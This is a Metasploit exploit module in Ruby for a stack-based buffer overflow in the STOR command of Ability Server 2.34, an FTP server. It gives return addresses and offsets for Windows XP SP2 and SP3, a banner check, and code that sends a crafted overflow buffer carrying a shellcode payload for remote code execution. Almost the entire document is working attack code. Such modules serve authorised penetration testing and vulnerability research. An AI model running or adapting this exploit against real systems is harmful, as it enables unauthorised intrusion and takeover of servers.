Ability Server 2.34 STOR Command Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow in Ability Server 2.34.
				Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
				which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

				The vulnerability has been confirmed on version 2.34 and has also been reported
				in version 2.25 and 2.32. Other versions may also be affected.
			},
			'Author'         =>
				[
					'muts',        #Initial discovery
					'Dark Eagle',  #same as muts
					'Ekelow'       #Metasploit
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', '2004-1626' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/588/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\xff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP2 ENG',
						{
							#JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
							'Ret' => 0x73E32ECF,
							'Offset' => 966
						}
					],
					[
						'Windows XP SP3 ENG',
						{
							#JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully pathced)
							'Ret' => 0x7E429353,
							'Offset' => 966
						}
					],
				],
			'DisclosureDate' => 'Oct 22 2004',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::RPORT(21),
				OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
				OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
			], self.class)
		end

	def check
		connect
		disconnect
		if banner =~ /Ability Server 2\.34/
			return Exploit::CheckCode::Vulnerable
		else
			if banner =~ /Ability Server/
				return Exploit::CheckCode::Detected
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

		# Take client ip + ftp user lengths into account for EIP offset
		padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)
		junk = rand_text_alpha(padd_size)

		sploit = junk
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << payload.encoded
		sploit << rand_text_alpha(sploit.length)

		send_cmd(['STOR', sploit], false)
		handler
		disconnect
	end
end